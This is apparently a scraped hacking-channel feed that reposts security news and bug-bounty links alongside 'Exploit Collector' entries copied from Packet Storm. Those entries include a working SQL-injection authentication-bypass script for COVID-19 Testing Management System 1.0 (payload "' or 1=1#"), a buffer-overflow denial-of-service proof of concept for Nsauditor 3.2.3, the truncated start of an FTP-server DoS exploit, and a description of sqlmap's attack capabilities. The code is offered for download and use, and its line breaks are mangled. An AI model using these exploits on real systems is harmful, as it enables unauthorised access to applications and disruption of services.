r data has been leaked in this or other breaches.
* If your data has been compromised, make sure to change your passwords across your online accounts. You can easily generate complex passwords with our strong password generator or consider using a password manager.
* Enable two-factor authentication (2FA) on all of your online accounts.
* Watch out for incoming spam emails, unsolicited texts, and phishing messages. Don’t click on anything that seems suspicious, including emails and texts from senders you don’t recognize. See Also: Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat Source: cybernews.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/microsoft-exploit-90x90.jpg Windows Container Malware Targets Kubernetes Clusters10 hours ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/1_6QWMn0DApM4jmbubKuCmNA-90x90.png GitHub’s new policies allow removal of PoC exploits used in attacks1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-2-90x90.png Google PPC Ads Used to Deliver Infostealers4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-1-90x90.png Researchers Uncover Hacking Operations Targeting Government Entities in South Korea5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/ransomware-payment-90x90.jpg Cyber-Insurance Fuels Ransomware Payment Surge6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/banner-2021.2-release-90x90.png Kali Linux 2021.2 Release (Kaboxer, Kali-Tweaks, Bleeding-Edge & Privileged Ports)7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/ezgif.com-gif-maker-90x90.jpg Cyber attack hits JBS meat works in Australia, North America1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/HPE-corp-logo-1-90x90.jpg HPE Fixes Critical Zero-Day in Server Management Software1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/vmware-patch-90x90.jpg VMware Sounds Ransomware Alarm Over Critical Severity Bug2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/Untitled-design-6-90x90.png PDF Feature ‘Certified’ Widely Vulnerable to Attack2 weeks ago
The post RockYou2021: largest password compilation of all time leaked online – 8.4 billion entries first appeared on Black Hat Ethical Hacking.
➖ Sent by @TheFeedReaderBot ➖

Getting started with Android Application Security

A starter’s guide to setting up a testbed, assessing, and finding vulnerabilities in android applicationsContinue reading on Cobalt.io »
Read more...

Formation Beta Testing is now live!
https://medium.com/naos-finance/formation-beta-testing-is-now-live-4c53d7633cea?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

We’re launching Formation beta testing tomorrow! 
( 9th of June 0:00 (UTC+0)）Continue reading on NAOS Finance — Official Publications » (https://medium.com/naos-finance/formation-beta-testing-is-now-live-4c53d7633cea?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Getting started with Android Application Security
https://blog.cobalt.io/getting-started-with-android-application-security-6f20b76d795b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A starter’s guide to setting up a testbed, assessing, and finding vulnerabilities in android applicationsContinue reading on Cobalt.io » (https://blog.cobalt.io/getting-started-with-android-application-security-6f20b76d795b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Osu! Folks
https://medium.com/@rajyaguruvirang/osu-folks-6d4653e6d87b?source=rss------bug_bounty-5

I’ll be telling y’all how I got my first bounty after six months of hunting regularly.Continue reading on Medium » (https://medium.com/@rajyaguruvirang/osu-folks-6d4653e6d87b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Osu! Folks

I’ll be telling y’all how I got my first bounty after six months of hunting regularly.Continue reading on Medium »
Read more...

Exploit Collector
SAMI FTP Server 2.0.2 Denial Of Service

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
SAMI FTP server version 2.0.2 USER denial of service exploit.

MD5 | 313e692553a3a89a25aac7fd19c47a88

Download
#!/usr/bin/python
#
# e-mail: fernando.mengalli@gmail.com
#
# Date: 06/08/2021 - 08 jun
#
# Version Vulnerable: SAMI FTP Server 2.0.2
#
# OS Tested: Windows XP PACK 3 Brazilian e Windows 2000
#

import socket
import sys

if len(sys.argv) != 2:
print
"#####################################################################"
print "#
#"
print "# SAMI FTP Server 2.0.2 - Command 'USER' Denied of Service
#"
print "#
#"
print "# Author: Fernando Mengali
#"
print "#
#"
print "# Modo de uso: exploit.py
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID-19 Testing Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
COVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.

MD5 | 12bc9bc3329a4bc99a1d6ad5f44b6f45

Download
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection
(Authentication Bypass)
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 06.08.2021
# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# CVE: CVE-2021-33470
# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: @nu11secur1ty
# CVE: CVE-2021-33470

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="
http://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php
"

#enter your login username SQL bling injection
username="nu11secur1ty' or 1=1#"
#enter your login password SQL bling injection
password="nu11secur1ty' or 1=1#"

# test and proof the SQL injection
# user: admin
# password: password

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="inputpwd"

#enter the element for submit button by class
element_for_submit="btn.btn-primary.btn-user.btn-block"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
time.sleep(3)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

print("payload is deployed NOW, you have SQL Authentication Bypass =)...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nsauditor 3.2.3 Denial Of Service

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Nsauditor version 3.2.3 suffers from a denial of service vulnerability.

MD5 | b45def01258069c999265cfc129e527b

Download
# Exploit Title: Nsauditor 3.2.3 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.3.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open Nsauditor.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("NBM.txt", "w")
f.write(buffer)
f.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SQLMAP - Automatic SQL Injection Tool 1.5.6

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.

MD5 | 5d549a9d48f57591c03e5e02ad82cd9f

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video